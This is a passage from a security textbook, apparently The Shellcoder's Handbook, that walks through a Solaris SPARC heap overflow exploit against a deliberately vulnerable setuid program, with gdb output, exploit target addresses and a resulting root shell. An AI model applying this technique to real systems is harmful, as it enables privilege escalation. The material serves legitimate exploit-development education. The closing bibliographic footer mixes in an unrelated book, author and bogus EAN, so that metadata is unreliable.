Heap Overflow Example

Once again, these theories are easier to understand with a real example. We will look at an easy, best-case heap overflow exploit to reinforce and demonstrate the exploit techniques discussed so far.

The Vulnerable Program

Once again, this vulnerability is too blatantly obvious to actually exist in modern software. We'll again use a vulnerable setuid executable as an example, with a string-based overflow copying from the first program argument. The vulnerable function is:

 int vulnerable_function(char *userinput) {         char *buf = malloc(64);         char *buf2 = malloc(64);         strcpy(buf,userinput);         free(buf2);         buf2 = malloc(64);         return 1; } 

A buffer, buf , is the destination for an unbounded string copy, overflowing into a previously allocated buffer, buf2 . The heap buffer buf2 is then freed, and another call to malloc causes the free list to be flushed. We have two function returns, so we have the choice of overwriting a saved program counter on the stack should we choose to. We also have the choice of overwriting the previously mentioned function pointer called as part of the exit() library call.

First, let's trigger the overflow. The heap buffer is 64 bytes in size , so simply writing 65 bytes of string data to it should cause a program crash.

 # gdb ./heap_overflow GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you  Are welcome to change it and/or distribute copies of it under certain  conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB.  Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols  found)...     (gdb) r `perl -e "print 'A' x 64"` Starting program: /test/./heap_overflow `perl -e "print 'A' x 64"` (no debugging symbols found)...(no debugging symbols found)...(no  debugging symbols found)... Program exited normally.     (gdb) r `perl -e "print 'A' x 65"` Starting program: /test/./heap_overflow `perl -e "print 'A' x 65"` (no debugging symbols found)...(no debugging symbols found)...(no  debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0xff2c2344 in realfree () from /usr/lib/libc.so.1     (gdb) x/i $pc 0xff2c2344 <realfree+116>:      ld  [ %l5 + 8 ], %o1     (gdb) print/x $l5  = 0x41020ac0 

At the 65-byte threshold, the most significant byte of the chunk size is corrupted by A or 0x41 , resulting in a crash in realfree() . At this point we can begin constructing an exploit that overwrites the chunk size with a negative size, and creates a fake TREE structure behind the chunk size. The exploit contains the following platform-specific information:

 struct {         char *name;         int buffer_length;         unsigned long overwrite_location;         unsigned long overwrite_value;         int align; } targets[] = {             {                 "Solaris 9 Ultra-Sparc",                 64,                 0xffbf1233,                 0xffbffcc4,                 0         }     }; 

In this case, overwrite_location is the address in memory to overwrite, and overwrite_value is the value with which to overwrite it. In the manner that this particular exploit constructs the TREE structure, overwrite_location is analogous to the sp member of the structure, while overwrite_value corresponds to the tp member. Once again, because this is exploiting a locally executable binary, the exploit will store shellcode in the environment. To start, the exploit will initialize overwrite_location with an address that isn't 4-byte aligned. This will immediately cause a BUS fault when writing to that address, and allow us to break at the right point in program execution to examine memory and locate the information we need in order to finish the exploit. A first run of the exploit yields the following:

 Program received signal SIGBUS, Bus error. 0xff2c272c in t_delete () from /usr/lib/libc.so.1 (gdb) x/i $pc 0xff2c272c <t_delete+52>:       st  %o0, [ %o1 + 8 ] (gdb) print/x $o1  = 0xffbf122b (gdb) print/x $o0  = 0xffbffcc4 (gdb) 

The program being exploited dies as a result of a SIGBUS signal generated when trying to write to our improperly aligned memory address. As you can see, the actual address written to ( 0xffbf122b + 8 ) corresponds to the value of overwrite_location , and the value being written is the one we previously specified as well. It's now simply a matter of locating our shellcode and overwriting an appropriate target.

Our shellcode can once again be found near the top of the stack, and this time the alignment is off by 3 bytes.

 (gdb) 0xffbffa48:     0x01108001      0x01108001      0x01108001      0x01108001 0xffbffa58:     0x01108001      0x01108001      0x01108001      0x01108001 0xffbffa68:     0x01108001      0x01108001      0x01108001      0x01108001 

We will try to overwrite a saved program counter value on the stack in order to gain control of the program. Since a change in the environment size is likely to change the stack for the program slightly, we'll adjust the alignment value in the target structure to be 3 and run the exploit again. Once this has been done, locating an accurate return address at the point of crash is relatively easy.

 (gdb) bt #0  0xff2c272c in t_delete () from /usr/lib/libc.so.1 #1  0xff2c2370 in realfree () from /usr/lib/libc.so.1 #2  0xff2c1eb4 in _malloc_unlocked () from /usr/lib/libc.so.1 #3  0xff2c1c2c in malloc () from /usr/lib/libc.so.1 #4  0x107bc in main () #5  0x10758 in frame_dummy () 

A stack backtrace will give us a list of appropriate stack frames from which to chose. We can then obtain the information we need to overwrite the saved program counter in one of these frames . For this example let's try frame number 4. The farther up the call tree the function is, the more likely its register window has been flushed to the stack; however, the function in frame 5 will never return.

 (gdb) i frame 4 Stack frame at 0xffbff838:  pc = 0x107bc in main; saved pc 0x10758  (FRAMELESS), called by frame at 0xffbff8b0, caller of frame at 0xffbff7c0  Arglist at 0xffbff838, args:  Locals at 0xffbff838, (gdb) x/16x 0xffbff838 0xffbff838:     0x0000000c      0xff33c598      0x00000000      0x00000001 0xffbff848:     0x00000000      0x00000000      0x00000000      0xff3f66c4 0xffbff858:     0x00000002      0xffbff914      0xffbff920      0x00020a34 0xffbff868:     0x00000000      0x00000000      0xffbff8b0      0x0001059c (gdb) 

The first 16 words of the stack frame are the saved register window, the last of which is the saved instruction pointer. The value in this case is 0x1059c , and it is located at 0xffbff874 . We now have all the information necessary to attempt to complete our exploit. The final target structure looks like the following:

 struct {         char *name;         int buffer_length;         unsigned long overwrite_location;         unsigned long overwrite_value;         int align; } targets[] = {             {                 "Solaris 9 Ultra-Sparc",                 64,                 0xffbff874,                 0xffbffa48,                 3         }     }; 

Now, to give the exploit a try and verify that it does indeed work as intended, we do the following:

 $ ls -al heap_overflow -rwsr-xr-x   1 root     other       7028 Aug 22 00:33 heap_overflow $ ./heap_exploit 0 # id uid=0(root) gid=60001(nobody) # 

The exploit works as expected, and we are able to execute arbitrary code. While the heap exploit was slightly more complicated than the stack overflow example, it does once again represent the best-case scenario for exploitation; some of the complications mentioned previously are likely to come up in more complex exploitation scenarios.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net